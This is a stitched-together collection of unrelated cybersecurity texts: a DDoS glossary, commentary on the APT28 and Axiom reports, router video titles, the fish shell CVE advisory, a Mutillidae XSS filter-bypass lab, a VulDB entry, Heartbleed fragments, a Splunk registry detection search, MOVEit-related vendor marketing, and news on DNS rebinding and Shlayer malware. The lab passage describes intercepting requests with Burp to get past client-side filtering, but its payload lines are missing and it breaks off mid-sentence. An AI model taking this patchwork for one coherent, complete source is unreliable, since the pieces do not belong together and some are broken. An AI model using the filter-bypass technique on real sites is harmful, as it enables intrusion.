Command and control refers to the main server used by a DDoS attacker to control the botnets used in a DDoS attack. Learn more about botnet command and control (C&C or C2).
A certificate revocation list is a public list that registers the revocation of digital certificates of public keys required for Internet-based transactions. When a certificate is placed on the CRL, it can no longer be used to establish trust between the client and the server. The server or the key may be compromised. Web browsers will check the URL to see if a website’s certificate has been revoked.
Cyberterrorism represents acts of Internet-based hacking that cause large-scale disruption to computer networks through the use of computer viruses and other malicious tools, such as worms and Trojan programs. The motivation for cyberterrorism attacks is to create widespread panic and disruption. Hacktivist groups may use cyberterrorism campaigns to protest or promote certain ideological or political beliefs.
A data breach involves obtaining unauthorized access to confidential or sensitive information such as customers’ personal information, corporate financial records, credit card or bank account details. A data breach is often accompanied by the intentional public release of the confidential information obtained by hacktivists during the cyber attack.
Dirt Jumper is a high-risk DDoS toolkit that can be used to launch application layer attacks on websites. Dirt Jumper is a prepackaged toolkit that has evolved from the Russkill strain of malware. It is now widely available on various underground websites and retails for as little as US $150. Dirt Jumper can be spread via spam, exploit kits and fake downloads and can be pushed out to machines already infected with other forms of malware. Prolexic has developed a security-scanning tool that can be used to detect Dirt Jumper command-and-control servers. Download the Dirt Jumper threat advisory and scanner..
The Domain Name System translates Internet domain names into Internet protocol addresses. DNS transforms a domain name such as www.prolexic.com and converts it into the actual IP address much as a phone book takes a name and converts it to a phone number. It is possible for many domain names to have the same IP address because one server can support a huge number of domain names. One DNS name can also be configured to map to several IP addresses. For example, if a URL maps to five different addresses, a web browser will go to any one of them to access the site. Learn more about how DNS is used in to redirect network traffic to a DDoS protection and mitigation service.
DNS floods are used for attacking both the infrastructure and a DNS application. This denial of service attack type allows DDoS attackers to use both reflection and spoofed direct attacks that can overwhelm a target’s infrastructure by consuming all available network bandwidth.
DNS propagation is when DNS updates propagate out to DNS servers when requested by client systems. Propagation takes time and is cached by the requestor and the intermediary DNS servers for the period defined in the time-to-live (TTL). Although TTL is by definition supposed to be respected by all clients and servers around the world, sometimes it is not. For example, if a TTL is very small, some servers ignore the TTL even though they are in violation of Internet standards and the site may refresh at lower frequencies.
A DNS reflection/amplification DDoS attack is a type of DDoS attack where the response from the server is typically larger than the request. When combined with spoofed IP addresses, the response to this type of amplified attack will go to the attacker’s true victim, not the attacker. The victim will not know who originated the attack. A common form of DNS reflection attack involves an attacker making many spoofed queries to many public DNS servers. The spoofing is created in such a way where the source IP address is forged to be that of the target of the attack. When a DNS server receives the forged request it replies, but the reply is directed to the forged source address. This is the “reflection” component. The target of the attack receives replies from all the DNS servers that are used. This type of attack makes it very difficult to identify the source. If the queries (which are small packets) generate larger responses (some DNS requests, especially to TXT records) then the attack is said to have an “amplifying characteristic.” Reflection and Amplification are two separate attributes of an attack. A reflection attack does not get amplified unless the responses are bigger than the requests. Learn more about DNS reflection in the Executive’s Guide to DDoS Protection.
DNS TTL is the expression of the expiration time for the caching of a DNS record. TTL is expressed in seconds and can be set to expire in an arbitrary period of time. When using the PLX proxy mitigation service, Prolexic advises customers to set the DNS TTL to a low value so that the customer can change DNS records quickly in case of DDoS attack. You can check the status of your DNS records by using a free online DNS TTL checker such as Nabber.
DDoS is an acronym for Distributed Denial of Service as in a Distributed Denial of Service (DDoS) cyber-attack. DDoS in general uses many computers distributed across the Internet in an attempt to consume available resources on the target. Learn more about DDoS in our attack reports.
DoS is an acronym for Denial of Service as in a Denial of Service attack. DoS typically uses one or a few computers to cause an outage on the target. Learn more about denial of service (DoS) in the Executive’s Guide to DDoS Protection.
DoS and DDoS attacks are an attempt to make a computer resource (i.e. – website, email, voice, or a whole network) unavailable to its intended users. By overwhelming it with data and/or requests in a denial of service attack, the target system either responds so slowly as to be unusable or crashes completely. The data volumes required to do this are typically achieved by a network of remotely controlled zombie or botnet [robot network] computers. These have fallen under the control of an attacker, generally through the use of Trojan viruses. Learn more about DoS and DDoS attacks in the Executive’s Guide to DDoS Protection..
DDoS attack blocking, commonly referred to as blackholing, is a method typically used by ISPs to stop a DDoS denial of service attack on one of its customers. This approach to block DoS attacks makes the site in question completely inaccessible to all traffic, both malicious attack traffic and legitimate user traffic. Black holing is typically deployed by the ISP to protect other customers on its network from the adverse effects of DDoS attacks, such as slow network performance and disrupted service. Learn more about blackholing in the 12 Questions to Ask a DDoS Mitigation Provider white paper.
DDoS attack forensics, often provided in a post attack report, are a comprehensive listing of all characteristics associated with a DDoS denial of service attack. Ideally, DDoS forensics should include attack type, attack duration, attack origin and all of the real IP addresses blocked in the attack, in a database that is instantly accessible through a secure online customer portal. Learn more about DDoS attack forensics in our DDoS mitigation case studies.
DDoS mitigation appliances are hardware modules for network protection that include purpose-built automated network devices for detecting and mitigating some levels of DDoS attacks. Sometimes perimeter security hardware such as firewalls and Intrusion Detection Systems (IDS) include features intended to address some types of small DDoS attacks. Learn about human security mitigation versus automated mitigation in this white paper.
A DDoS mitigation service is a service designed to detect, monitor, and mitigate DoS and DDoS attacks. A Distributed Denial of Service (DDoS) mitigation service provided by a pure play DDoS mitigation vendor consists of a combination of proprietary detection, monitoring, and mitigation tools and skilled anti-DDoS technicians who can react in real-time to changing DDoS attack characteristics. Add-on DDoS mitigation service providers such as Internet Service Providers (ISPs) and Content Delivery Networks (CDNs) also offer DDoS mitigation services in the form of automated tools, but they have limited network capacity to absorb large DDoS denial of service attacks. Learn more about how to choose a DDoS mitigation service.
DoS protection is an enterprise strategy for protecting the network against DoS or DDoS attacks. This can include a proxy or routed mitigation service from a DDoS monitoring and mitigation service provider, on-premise appliances for detecting DDoS attacks and DDoS monitoring appliances, and Intrusion Detection Systems (IDS) such as firewalls and other types of automated security appliances. Learn more about DoS protection.
An exploit is an application or system vulnerability. Exploits are used to obtain unauthorized access or privilege escalation.
Firewalls examines each incoming and outgoing network packet and determines whether to forward it toward its destination, based on a set of predefined security rules. Firewalls can be hardware- or software-based and are designed to protect networks against hackers, viruses, worms and other malicious traffic.
Fragmentation is the division of large packets into smaller ones. Fragmentation is primarily used to enable packets larger than an interface’s MTU (Maximum Transmission Unit) to be divided into two or more units that are smaller than the MTU. Some DDoS attacks use fragments in bulk floods to consume link bandwidth. Learn more in a case study about a DDoS attack that used fragmentation.
Hackers are advanced computer users who use their IT skills to discover and exploit vulnerabilities in electronics, IT systems and computer networks.
A hacking toolkit is a collection of malicious computer programs used together to exploit vulnerabilities in target systems to gain unauthorized access, steal data or upload malicious code. The malicious code may then be used to launch DDoS distributed denial of service attacks. Hacker toolkits are readily available through the Internet, either free or at a low cost. They are designed to be easy for anyone to use to launch cyber attacks. However, because they can contain many different types of attack vectors, hacking toolkits can exploit multiple vulnerabilities of an Internet facing system. Web browsers and plugins are usually the main entry points for the malicious programs within the hacking toolkit software. DirtJumper and booter shell scripts are examples of malicious toolkits. Learn more about hacking toolkits in our DDoS threat advisories.
Hacktivism is a cyberattack movement in which computer network hacking is motivated by social activism or political protest. Hacktivism often includes DoS and DDoS attacks against the websites of governments, law enforcement agencies, political parties, religious groups, or any website that expresses ideas, beliefs or policies that a hacktivist group opposes. In addition to denial of service attacks, hacktivism also manifests itself as website defacement and data breaches. In 1999, the Cult of the Dead Cow created the concept of hacktivism with Hactivismo, an organization that touted freedom of information as a basic human right.
Hacktivists are organized groups of Internet hackers such as Anonymous who launch Internet denial of service, website defacement, data exfiltration and other attacks on the websites of global brands and organizations to protest political issues and promote their own ideology. Hacktivists often launch randomized attacks with complex signatures and then take credit for them through the news media. Learn more in this case study of a DDoS attack by hacktivists against a new media website.
Hacktivist groups are well-publicized collectives of sophisticated hackers who launch DoS and DDoS attacks primarily motivated by social activism or political protest.
HOIC is considered the next generation replacement for the Low Orbit Ion Cannon (LOIC) flood attack tool. HOIC can target up to 256 addresses simultaneously and also includes support for booster files – customizable scripts that randomize attack signatures and make attacks more difficult to differentiate from legitimate traffic. Attackers use unique plug-ins within the booster files to attack specific features of their target, such as a social networking site or e-Commerce site. The plug-ins are typically written by expert hackers who have pre-analyzed the target and have distributed information on different attack vectors that would be the most successful against a specific target. Learn more in the High Orbit Ion Cannon (HOIC) Threat Advisory.
An HTTP GET Flood is a Layer 7 application layer DDoS attack method in which attackers send a huge flood of requests to the server to overwhelm its resources. As a result, the server cannot respond to legitimate requests from users. Learn more about HTTP GET floods in this case study.
An HTTP GET request is a method that makes a request for information from the server. A GET request asks the server to give you something, such as an image or script so that it may be rendered by your browser.
An HTTPS GET Flood is an HTTP GET Flood sent over an SSL session. Due to the use of SSL, it is necessary to decrypt the requests in order to mitigate the flood. Learn more about detecting HTTPS GET Floods with application-based DDoS monitoring.
An HTTPS GET Request is an HTTP GET Request sent over an SSL session. Due to the use of SSL it is necessary to decrypt this request in order to inspect it.
HTTP headers are fields which describe which resources are requested, such as a URL, a form, JPEG, etc. HTTP headers also inform the web server what kind of web browser is being used. Common HTTP headers are GET, POST, ACCEPT, LANGUAGE, and USER AGENT. The requester can insert as many headers as they want and can make them communication specific. DDoS attackers can change these and many other HTTP headers to make it more difficult to identify the attack origin. In addition, HTTP headers can be designed to manipulate caching and proxy services. For example, it is possible to ask a caching proxy to not cache the information. Learn more about DDoS attacks that change HTTP header information.
An HTTP POST flood is a type of DDoS attack in which the volume of POST requests overwhelms the server so that the server cannot respond to them all. This can result in exceptionally high utilization of system resources and consequently crash the server. Learn more about DDoS attacks, including those that use the HTTP POST Flood.
An HTTP POST request is a method that submits data in the body of the request to be processed by the server. For example, a POST request takes the information in a form and encodes it, then posts the content of the form to the server. |
Two reports released Tuesday highlight the important role private actors are playing in cybersecurity defense. Cybersecurity company FireEye released a report on espionage activities by “APT28,” a group FireEye alleges is “sponsored by the Russian government.” In a second report, a coalition of security companies, led by Novetta, identified a sophisticated group dubbed “Axiom” that has directed cyber-espionage against companies, governments, journalists, and pro-democracy groups for the past six years. The report alleges Axiom is “part of the Chinese Intelligence Apparatus” and explains that the Novetta-led coalition performed “the first ever-private sponsored interdiction against a sophisticated state sponsored advanced threat group.” These reports, coupled with ongoing discussion about “hacking back” by victims of cyber intrusions, show the extent to which private actors are increasingly playing government-like roles in the cybersecurity arena.
My recent post on software bug bounties and zero-day vulnerabilities showcased governments acting like private actors by participating as customers in vulnerability markets, but these new reports show the flip-side: private parties acting like governments.
First, FireEye’s APT28 report is private intelligence-gathering. FireEye bases its allegation that APT28 is Russian-government sponsored on multiple factors, including: use of Russian in APT28 malware, the alignment between malware “compile times” and the business day in Moscow and St. Petersburg, and the nature of its targets—a list that includes Georgian, Polish, and Hungarian government departments, NATO, and the Organization for Security and Cooperation in Europe.
This isn’t the first time a private report has called out a government. In February 2013, Mandiant (a Virginia-based cybersecurity firm acquired by FireEye earlier this year) made headlines for a report calling out Chinese army unit 61398 for hacking hundreds of companies around the world. More recently, cybersecurity firm CrowdStrike published a report in June 2014 identifying another Chinese army entity, Unit 61486, as responsible for hacks of companies worldwide, particularly the satellite, aerospace, and telecommunications industries.
The main difference from government intelligence reports, of course, is that the companies made their reports public.
Second, the Axiom report is a combination of private intelligence-gathering and victim-assistance or counterespionage. Like the FireEye report, the Axiom report analyzes the nature of the compromises and identifies a nation-state—China—as the responsible party. The report alleges that the particular industries Axiom targets “fit in particularly well with China’s strategic interests and with their most recent Five Year Plans,” and notes that Axiom has also “gather[ed] information on domestic Chinese targets.”
The most striking aspect of the report is what the coalition of companies did about the compromises. The report explains that Novetta and Microsoft initially collaborated to counter one malware family Axiom deploys, but ultimately expanded the collaboration to include additional industry partners that could assist in addressing the full scope of Axiom malware. The group then distributed “the corpus of samples, analysis, and knowledge” via Microsoft’s Virus Information Alliance to “64 trusted industry partners in 22 separate countries for their own use, and to protect their customers.” The upshot is that, according to the report, “over 43,000 separate installations of Axiom-related tools have been removed from machines protected by” the partner companies. (The actions against Axiom do not appear to involve “hacking back”; rather, the report suggests that companies involved in the report, like Cisco and FireEye, purged the Axiom malware from machines pursuant to, for example, contractual agreements with their customers.) The Washington Post quotes Stephen Ward, a senior director of coalition member iSight Partners, explaining: “This is the beginning of what will hopefully be a long line of industry-coordinated efforts to expose these threat groups, and to do so without having to use law enforcement.”
Finally, even further along the government action spectrum is private “hacking back.” The terms “hacking back” or “active defense” are used to describe a variety of actions ranging from planting fake data to “beaconing” proprietary data so that it can be tracked if taken off a corporate network to entering a server storing stolen data to destroy the data. Depending on where on the spectrum a “hacking back” action is, the private entity’s actions could look a lot like counterespionage, law enforcement, or even military action. Although U.S. laws, including the Computer Fraud and Abuse Act, prohibit unauthorized access to computer systems (among other things), The Washington Post recently reported that companies are increasingly discussing taking action and quoted sources suggesting that the U.S. government may be softening its prior opposition. According to the Post, “Former federal officials said they knew of cases when companies have reached beyond their own computer networks to find the source of an intrusion or to delete stolen data” and “they have also noticed a quiet acceptance on the part of federal agents.”
Although I’ve focused here on how private parties increasingly act like governments with respect to cybersecurity, the reverse remains true as well: As FireEye released its report on APT28, news broke that the White House’s unclassified computer network had been breached by “[h]ackers thought to be working for the Russian government.” |
Access Point mode - • routers with or without access point mode..
ccna wireless :: access point modes of operation.
asus : how to set up access point mode.
access point setup step by step part 1 ( (wds / repeater mode).
setup access point mode on tp-link tl-wr840n.
in this quick video and lab nugget you will learn about wireless access points and how they provide wireless networking services to a local area network.
how to configure access point mode on asus wireless router.
how to use your wifi repeater (waprn) in access point mode. |
Date: Sun, 28 Sep 2014 16:21:31 +0800 (WST) From: David Adam <[email protected]> To: [email protected] cc: Bartlomiej Piotrowski <[email protected]>, [email protected], [email protected], [email protected], ridiculous_fish <[email protected]> Subject: Security release of fish shell 2.1.1 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi all, It's been some months, but it seems like a good time to be announcing security releases of shells! fish (the friendly interactive shell) is a smart and user-friendly command line shell for OS X, Linux, and the rest of the family. fish 2.1.1 has been released as source and binary packages at http://fishshell.com/. This release fixes a number of local privilege escalation vulnerability and one remote code execution vulnerability, as follows: CVE-2014-2905: fish universal variable socket vulnerable to permission bypass leading to privilege escalation fish, from at least version 1.16.0 to version 2.1.0 (inclusive), does not check the credentials of processes communicating over the fishd universal variable server UNIX domain socket. This allows a local attacker to elevate their privileges to those of a target user running fish, including root. fish version 2.1.1 is not vulnerable. No workaround is currently available for earlier versions of fish. https://github.com/fish-shell/fish-shell/issues/1436 CVE-2014-2906 and CVE-2014-3856: fish temporary file creation vulnerable to race condition leading to privilege escalation fish, from at least version 1.16.0 to version 2.1.0 (inclusive), creates temporary files in an insecure manner. Versions 1.23.0 to 2.1.0 (inclusive) execute code via `funced` from these temporary files, allowing privilege escalation to those of any user running fish, including root. (CVE-2014-3856) Additionally, from at least version 1.16.0 to version 2.1.0 (inclusive), fish will read data using the psub function from these temporary files, meaning that the input of commands used with the psub function is under the control of the attacker. (CVE-2014-2906) fish version 2.1.1 is not vulnerable. No workaround is currently available for earlier versions of fish. https://github.com/fish-shell/fish-shell/issues/1437 CVE-2014-2914: fish web interface does not restrict access leading to remote code execution fish, from version 2.0.0 to version 2.1.0 (inclusive), fails to restrict connections to the Web-based configuration service (fish_config). This allows remote attackers to execute arbitrary code in the context of the user running fish_config. The service is generally only running for short periods of time. fish version 2.1.1 is not vulnerable. No workaround is currently available for earlier versions of fish, although the use of the fish_config tool is optional as other interfaces to fish configuration are available. https://github.com/fish-shell/fish-shell/issues/1438 CVE-2014-3219: fish temporary file access leading to privilege escalation fish, from at least version 1.16.0 to version 2.1.0 (inclusive), uses temporary files in an insecure manner. fish will read and write completions from these temporary files without checking for ownership or symbolic links, allowing data corruption. fish version 2.1.1 is not vulnerable. No workaround is currently available for earlier versions of fish. https://github.com/fish-shell/fish-shell/issues/1440 David Adam fish committer [email protected] -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.12 (GNU/Linux) iQIcBAEBAgAGBQJUJpCYAAoJEMC5abKXToiOaH4P+wc6jU3vgo8y4CEjsYFwqFFl rK1c3ivAoy1DnJ4hB2jpANL+TrpfsRAmzcN1SdEj10SZVXz0MhyD+iX2ny3ZelS3 dL70Z+0aA6ry91esudMjPG5RrrOH0atJc1guLpw3Qhxnf+FBMFGOODq5dcT0uccT yVB6K1GJRkCUeS9+bJExSoSJ/tBRZbockmUUEs2DifQAAyQVY91kt6UNdEtuK+rt CB9G5DNwLEyL0He/TN66VVU1l6amGVCrxR5bW+y4aigYI1Jx51PC700rR2I61V+g ESSTsvNgh4URdL/XmEkiuPrAUJhdV4J+QXNEwj0qlHRpXA0Em8Y4yfQUXgfgIiZ8 zbBvAZLxZm3UcPFbcrteI5N2mMbAPGJJTFRPTQO9Pcc5SJzCL3WIR/0zAxruQ1x9 IlpgCD+lQA4EKVvFo0E9oWYfRe5NXHNiFjb0khjxBeWrKGMdhrFgagfZfCAdSYas Cb+1CcTKcT2V5RGCrS8dAAgCxznL93DMvveQUZt0oE3OYdjJsWYjITYx+V+xyiHv RUFmvOckPUMIVzMVoKppyrss7USqaie5REyG0nxSwujgzPL/lAWJlBTVI61JVWSy Yn2A5yVaXeqLAodg/bGivURGgyeFPbDE51xXqaGGlm8gr8+WbmiDqMKA/jIMvce3 sxlSlL9fpNwODfinFi2M =ICJE -----END PGP SIGNATURE-----
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In Mutillidae, security is changeable, with 0 having no security and 5 being server side security. In between those is client security, meaning there is no server side encryption of user input or sanitation, every security measure is at the client level (i.e. filtering certain characters).
On the DNS lookup page in Mutillidae, with security level 1, we type in
Remember to remove the periods
And we get a message saying
So no special characters. However, what if we intercept the message via Burp Suite and modify it? Notice how when we typed in the script and hit enter, the page didn’t refresh and it instantly didn’t allow it, this means it didn’t get to the server which means the server didn’t do any validation, it was all in the browser utilizing AJAX.
We try again but this time we just send in a message like “hello” and intercept it via Burp.
We have the request so lets go ahead and modify “hello” to a script.
We then forward it to the website and |
Linux shows potential as it meets smart cards
With the development of smart cards technology mirroring that of the PC development, Linux is also beginning to appear as a contender on the smart card frontier as well. According to Wang Jiping, chief technology officer of China MobileSoft Ltd., Linux is gaining even greater traction and penetration for the embedded systems market than the PC market.
Wang, who was speaking at the recent Gemplus Developer Conference, believes that Linux will soon be appearing in every type of information device, especially small mobile devices. And as the usage of smart cards proliferates, consumers will be using portable computers with smart cards to access the Internet and to engage in e-commerce.
Eventually, the smart card will be important as a means for security and as a repository for personal information. A real life example of applications that have crossed over to smart card technology with Linux is the Simputer, which is a Linux-enabled handheld device.
[ Read more ] |
|CVSS Meta Temp Score|
CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.
|Current Exploit Price (≈)|
Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.
|CTI Interest Score|
Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
A vulnerability classified as critical has been found in GL.iNet Goodcloud 1.0 (Cloud Software). This affects an unknown code of the component Admin Panel. The manipulation with an unknown input leads to a access control vulnerability. CWE is classifying the issue as CWE-284. The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. This is going to have an impact on confidentiality, integrity, and availability. The summary by CVE is:
In GL.iNet Goodcloud 1.0, insecure design allows remote attacker to access devices' admin panel.
The weakness was shared 12/02/2022. It is possible to read the advisory at forum.gl-inet.com. This vulnerability is uniquely identified as CVE-2022-44212 since 10/30/2022. The technical details are unknown and an exploit is not publicly available. The attack technique deployed by this issue is T1068 according to MITRE ATT&CK.
There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.
CVSSv3VulDB Meta Base Score: 6.1
VulDB Meta Temp Score: 6.1
VulDB Base Score: 6.3
VulDB Temp Score: 6.3
VulDB Vector: 🔒
VulDB Reliability: 🔍
NVD Base Score: 5.9
NVD Vector: 🔒
VulDB Base Score: 🔒
VulDB Temp Score: 🔒
VulDB Reliability: 🔍
ExploitingClass: Access control
CWE: CWE-284 / CWE-266
Status: Not defined
EPSS Score: 🔒
EPSS Percentile: 🔒
Price Prediction: 🔍
Current Price Estimation: 🔒
Threat IntelligenceInterest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍
CountermeasuresRecommended: no mitigation known
0-Day Time: 🔒
Timeline10/30/2022 CVE reserved
12/02/2022 +33 days Advisory disclosed
12/02/2022 +0 days VulDB entry created
12/25/2022 +23 days VulDB entry last update
CVE: CVE-2022-44212 (🔒)
EntryCreated: 12/02/2022 01:47 PM
Updated: 12/25/2022 09:29 AM
Changes: 12/02/2022 01:47 PM (39), 12/25/2022 09:29 AM (11)
Do you want to use VulDB in your project?
Use the official API to access entries easily! |
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Bug is in the Open SSL's implementation of the TLS/DTLS (transport layer security protocols) heartbeat extension (RFC6520).
When it is exploited it leads to the leak of memory contents from the server to the client and from the client to the server.
These are the crown jewels, the encryption keys themselves.
Leaked secret keys allow the attacker to decrypt any past and future traffic to the protected services and to impersonate the service at will.
Only this enables safe use of the compromised services in the future.
These have only contemporary value and will lose their value to the attacker when Open SSL has been upgraded to a fixed version.
CVE (Common Vulnerabilities and Exposures) is the Standard for Information Security Vulnerability Names maintained by MITRE.
Due to co-incident discovery a duplicate CVE, CVE-2014-0346, which was assigned to us, should not be used, since others independently went public with the CVE-2014-0160 identifier.
We have tested some of our own services from attacker's perspective.
We attacked ourselves from outside, without leaving a trace.
Only owners of the services will be able to estimate the likelihood what has been leaked and they should notify their users accordingly. |
The following analytic detects modifications to the Windows Registry SIP Provider. It identifies this behavior by monitoring Sysmon Event ID 7, which logs registry modification events. The analytic specifically looks for changes in registry paths and values associated with Cryptography Providers and OID Encoding Types. This behavior is worth identifying as it may indicate an attempt to subvert trust controls, a technique often used by adversaries to bypass security measures and maintain persistence in an environment. If a true positive is found, it suggests an attacker is trying to manipulate the system's cryptographic functions, potentially leading to unauthorized access, data theft, or other damaging outcomes. Upon triage, review the registry paths and values modified, and look for concurrent processes to identify the attack source. Review the path of the SIP being added. This approach helps analysts detect potential threats earlier and mitigate the risks.
- Type: TTP
- Product: Splunk Enterprise, Splunk Enterprise Security, Splunk Cloud
- Datamodel: Endpoint
- Last Updated: 2023-10-10
- Author: Michael Haag, Splunk
- ID: 3b4e18cb-497f-4073-85ad-1ada7c2107ab
Kill Chain Phase
- CIS 10
1 2 3 4 5 6 | tstats `security_content_summariesonly` count values(Registry.registry_key_name) as registry_key_name values(Registry.registry_path) as registry_path min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path IN ("*\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\*", "*\\SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType*", "*\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\*", "*\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\\EncodingType*") Registry.registry_value_name IN ("Dll","$DLL") by Registry.dest , Registry.user Registry.registry_value_name, Registry.registry_value_data | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(Registry)` | `windows_registry_sip_provider_modification_filter`
The SPL above uses the following Macros:
windows_registry_sip_provider_modification_filter is a empty macro by default. It allows the user to filter out any results (false positives) without editing the SPL.
List of fields required to use this analytic.
How To Implement
To successfully implement this search you need to be ingesting information on process that include the name of the process responsible for the changes from your endpoints into the
Endpoint datamodel in the
Registry node. In addition, confirm the latest CIM App 4.20 or higher is installed and the latest TA for the endpoint product.
Known False Positives
Be aware of potential false positives - legitimate applications may cause benign activities to be flagged.
Associated Analytic Story
|64.0||80||80||Windows Registry SIP Provider Modification detected on $dest$.|
The Risk Score is calculated by the following formula: Risk Score = (Impact * Confidence/100). Initial Confidence and Impact is set by the analytic author.
source | version: 1 |
Here we are again: Another high-profile cyberattack is impacting commercial businesses, federal government agencies, and state and local government entities – among other organizations.
This time, the CL0P Ransomware Gang is behind the attack. CL0P emerged in 2019 and increased its profile with cyberattacks in early 2023. This time, the threat actor exploited vulnerabilities in MOVEit Transfer, a file-transfer service.
CISA and the FBI put out a joint advisory encouraging organizations using MOVEit Transfer to take recommendation actions and mitigations, including patching and updating software as well as “monitoring network ports, protocols, and services, activity security configurations on network infrastructure devices such as firewalls and routers.”
But how can an organization that is already overloaded with cybersecurity activity take on this or other cyber compromise threats?
Celerium’s Compromise Defender™ is a new solution that can be set up in 30 minutes and helps organizations detect and disrupt cyber compromise activity. Organizations using this solution benefit from the defensive measures against the MOVEit cyberattack enabled within Compromise Defender.
Celerium quickly implemented IOCs from CISA for the defense of organizations against the MOVEit vulnerability and associated CL0P ransomware threat. Beyond the current MOVEit threat, Celerium’s Compromise Defender solution can be used against future attacks and threats from CL0P, malware campaigns, and phishing attacks – including those automatically generated by ChatGPT and other AI-enabled technologies and threat actors.
There’s good news for companies and organizations that are concerned about the MOVEit cyberattack and/or future ransomware threats from CL0P or other threat actors. Compromise Defender can be set up in just 30 minutes or less to provide automated, real-time detection and blocking of relevant IOCs, malicious IP addresses, and other cyber threats.
And Celerium offers a 30-day free trial of Compromise Defender. So, an organization could start a free trial today and start defending against the MOVEit/CL0P Ransomware Gang cyberattack almost immediately. |
A technique for attacking computer networks, first disclosed more than a decade ago, has resurfaced as a way to manipulate Internet-of-Things gadgets, smart home equipment, and streaming entertainment gizmos.
Researcher Brannon Dorsey this week posted an essay explaining how smart home hardware can be vulnerable to a trick known as DNS rebinding.
First disclosed at RSA 2008 by researcher Dan Kaminsky, a DNS rebinding attack allows a malicious webpage open in a browser to access and potentially commandeer a device on a local network, sidestepping the same-origin policy checks that usually guards against such attacks.
While rebinding attacks have been made more difficult to pull off on modern browsers and networks, some systems remain vulnerable to reliable attacks. Earlier this year, Blizzard had to address the issue in its update tool, and exploits targeting cryptocurrency wallets also used the technique.
Now, Dorsey claims, home networks and internet-connected appliances will have to be added to that list. The infosec bod explained that, by connecting users to a compromised DNS server, a web browser can remotely receive and relay commands to devices on their local network.
Pwn goal: Hackers used the username root, password root for botnet control database loginREAD MORE
Among the hardware that could be manipulated by such an attack are WiFi routers, streaming video and music boxes (such as Roku or Google Home gear), and smart thermostats, or other connected appliances.
"Many of these devices offer limited or non-existent authentication to access and control their services," Dorsey explained. "They inherently trust other machines on the network in the same way that you would inherently trust someone you’ve allowed into your home."
In effect, the attack would use the browser as an entry point to infiltrate the local network.
As with previous attack techniques, Dorsey's method involves tricking a user into visiting a booby-trapped webpage – via something like a phishing email or XSS exploit – that runs scripting code to contact a malicious DNS server to look up a domain name.
Rather than resolve the domain name to an outside server's IP address, however, Dorsey's technique would have the DNS server return a local network address of a connected appliance, allowing the page to then access the device as if were the user. All the while, the browser that has been fooled into carrying out the attack would present the user with no alert to indicate anything has gone awry.
To demonstrate, Dorsey has produced proof-of-concept code showing how the technique can force a home thermostat to raise its own temperature.
Dorsey said he has notified vendors including Roku and Google of the vulnerability, so expect patches to land soon for your equipment. The issue is likely to span thousands of devices, and vendors and will require some time to fully address the security shortcomings.
"The implications and impact of an attack like this can have far reaching and devastating effects on devices or services running on a private network," Dorsey wrote. "By using a victim’s web browser as a sort of HTTP proxy, DNS rebinding attacks can bypass network firewalls and make every device on your protected intranet available to a remote attacker on the internet." ® |
71 with 51 posters participating
Almost two years have passed since the appearance of Shlayer, a piece of Mac malware that gets installed by tricking targets into installing fake Adobe Flash updates. It usually does so after promising pirated videos, which are also fake. The lure may be trite and easy to spot, but Shlayer continues to be commonso much so that its the number one threat encountered by users of Kaspersky Labs antivirus programs for macOS.
Since Shlayer first came to light in February 2018, Kaspersky Lab researchers have collected almost 32,000 different variants and identified 143 separate domains operators have used to control infected machines. The malware accounts for 30 percent of all malicious detections generated by the Kaspersky Labs Mac AV products. Attacks are most common against US users, who account for 31 percent of attacks Kaspersky Lab sees. Germany, with 14 percent, and France and the UK (both with 10 percent) followed. For malware using such a crude and outdated infection method, Shlayer remains surprisingly prolific.
An analysis Kaspersky Lab published on Thursday says that Shlayer is a rather ordinary piece of malware that, except for a recent variant based on a Python script, was built on Bash commands. Under the hood, the workflow for all versions is similar: they collect IDs and system versions and, based on that information, download and execute a file. The download is then deleted to remote traces of an infection. Shlayer also uses curl with the combination of options -f0L, which Thursdays post said is basically the calling card of the entire family.
Another banal detail about Shlayer is its previously mentioned infected method. Its seeded in links that promise pirated versions of commercial software, episodes of TV shows, or live feeds of sports matches. Once users click, they receive a notice that they should install a Flash update. Never mind that Flash has been effectively deprecated for years and that platforms offering warez and pirated content are a known breeding ground for malware.
The file downloaded by the Python variant Kaspersky Lab analyzed installs adware known as Cimpli. It ostensibly offers to install applications such as Any Search, which as indicated by search results is clearly a program no one should want. Behind the scenes, it installs a malicious Safari extension and a tool that includes a self-signed TLS certificate that allows the extension to view encrypted HTTPS traffic.
To work around any user suspicions, Cimpli superimposes its own windows over dialog boxes that macOS provides. The left windows in the image below are what targeted users see when Cimpli is installing the Safari extension. The window to the right is whats covered up. By clicking on the button, the user unwittingly agrees to install the extension. The HTTPS decryption tool also superimposes a fake window over the installation confirmation box. Once installed, all user traffic is redirected to an attacker-controlled proxy server.
Shlayer traditionally has relied on paid affiliates to seed advertising landing pages that display the fake Flash updates. Kaspersky Lab said Shlayer offers some of the highest rates. A newer ploy is the embedding of malicious links in pages on Wikipedia and YouTube. Kaspersky Lab said a single affiliate did so by registering more than 700 expired domains.
Its hard to believe that malware this artless would be among the most common threats facing Mac users. One explanation may be that Shlayer operators must bombard Mac users over and over in a brute-force fashion to compensate for extremely low success rates. A more somber, and probably less likely, possibility: the success rate is high enough that operators keep coming back for more. In either case, its likely that the help of affiliates contributes to Shlayers ranking.
In any event, Shlayers ranking is a good reason for people to remember that Flash is an antiquated browser add-on that presents more risk than benefit for the vast majority of the world. For those who must use it, they should download updates solely from https://get.adobe.com/flashplayer/.
